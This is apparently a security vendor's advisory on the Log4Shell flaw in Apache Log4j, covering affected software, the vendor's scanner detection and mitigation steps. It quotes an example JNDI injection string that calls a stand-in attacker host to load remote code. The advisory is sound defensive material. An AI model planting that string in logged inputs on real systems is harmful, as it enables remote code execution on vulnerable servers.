On December 10, 2021, a serious vulnerability was discovered in the Apache Log4j framework, which is commonly used by most Java installations. The vulnerability, dubbed Log4Shell or LogJam, was identified in the NVD as CVE-2021-44228 and, to quote one of Acunetix original creators and primary security experts, Bogdan Calin, “it’s the biggest vulnerability we have ever seen, which affects almost everyone and will be exploited for months to come.”
What is Log4Shell?
Log4Shell is an unauthenticated remote code execution (RCE, code injection) vulnerability. By exploiting it, the attacker can easily execute any code from a remote source on the attacked target.
Log4Shell was first discovered by Chen Zhaojun from the Alibaba Cloud Security team. The first software affected and exploited using this vulnerability was Minecraft. While at the time of discovery it was a zero-day vulnerability, information about it was released to the public only when a fix was already available.
How is Log4Shell exploited?
To exploit Log4Shell, the attacker may use any user input that is subsequently logged by the Log4j framework. For example, in the case of a web application, it may be any text entry field or basic headers such as User-Agent. Server logging is often set to log headers as well as form data.
The attacker only needs to include the following string in the logged user input:
${jndi:ldap://attacker.com/executeme}
Where attacker.com is a server controlled by the attacker and executeme is the Java class to be executed on the victim server. And this is just one of many ways to exploit this vulnerability.
What software is affected by Log4Shell?
The Log4Shell vulnerability may affect all Log4j 2 versions as well as many Log4j 1 versions. The only versions of Log4j that are considered safe are 2.15.0 and up (but version 2.17.0 is recommended due to CVE-2021-45046 in 2.15.0 and CVE-2021-45105 in 2.16.0).
The Log4j framework is one of the most commonly used libraries in the world. This means that many other software products use it, too. Here are some software components and packages that are known to be affected: Elasticsearch, Grails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, and more.
Here is a list of some companies indirectly affected (via the software supply chain) by this vulnerability: Google, Amazon, Tesla, CloudFlare, PayPal, Netflix, Twitter, LinkedIn, Apple, VMWare, and more. There is a very high probability that you are affected as well and not just your web applications.
How to check if you are affected by Log4Shell?
For web applications, Acunetix has a check to detect the Log4Shell vulnerability.
If you are using Acunetix on-premises, update your Acunetix installation to the latest version (build 14.6.211213163 or later) and scan all your web assets. If you are using Acunetix online, simply scan all your web assets at your earliest convenience. If you are using the Acunetix SCA, you can also already detect if your web applications are vulnerable to Log4Shell.
If you want to check whether your other assets (non-web) are affected, you need to manually check every Java installation to see if Log4j is used, which version, and how it is configured. You can follow this extensive guide for manual detection.
How does Acunetix detect Log4Shell?
The Log4Shell vulnerability checks implemented in Acunetix are using AcuMonitor because this vulnerability can only be detected in web assets using out-of-band technology.
Acunetix can also find difficult-to-detect delayed out-of-band (blind) Log4Shell vulnerabilities. To find them:
- Acunetix sends a Log4Shell payload to the website.
- The website/web server is not using Log4j so the payload is not executed. However, the website stores the payload, for example in a database.
- Another system, different than the website that was scanned by Acunetix, processes the data stored by the website in (2). This system is using Log4j and triggers the payload sent by Acunetix. This can happen after some time (hours, days, or even weeks), which is why such vulnerabilities are often referred to as delayed.
- This will result in a DNS request to AcuMonitor and the vulnerability is detected and reported to the user.
How to mitigate Log4Shell attacks?
To mitigate Log4Shell:
- Immediately upgrade your Log4j installation to version 2.17.0 or higher.
- If you cannot upgrade to 2.17.0 or higher, choose one of the following temporary solutions:
- Modify the JNDI manually or by using tools such as hotpatch-for-apache-log4j2
- Remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - In PatternLayout in the logging configuration, replace context lookups like
${ctx:loginId}or$${ctx:loginId}with thread context map patterns (%X,%mdc, or%MDC). Otherwise, in the configuration, remove references to context lookups like${ctx:loginId}or$${ctx:loginId}where they originate from sources external to the application such as HTTP headers or user input. - If you are using version 2.10.0 or later, set formatMsgNoLookups=true when you configure Log4j (but note that this does not guarantee complete protection due to CVE-2021-45046):
- Pass an argument when invoking Java:
java -Dlog4j2.formatMsgNoLookups=true ... - Set the environment variable:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ... - Set the JVM arguments environment variable:
JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
- Pass an argument when invoking Java:
Note that a web application firewall will not be able to protect you from Log4Shell.
What about CVE-2021-45046 and CVE-2021-45105?
Since the original discovery of CVE-2021-44228, the authors of Log4j released updates that, unfortunately, introduced other (less severe) vulnerabilities: CVE-2021-45046 and CVE-2021-45105. To avoid these vulnerabilities, you need to upgrade to Log4j 2.17.0.
Due to the nature of CVE-2021-45046 and CVE-2021-45105, DAST tools are unable to detect these vulnerabilities, however, the Acunetix SCA engine is able to detect vulnerable versions of the Log4j framework.
Get the latest content on web security
in your inbox each week.
THE AUTHOR
Principal Cybersecurity Writer
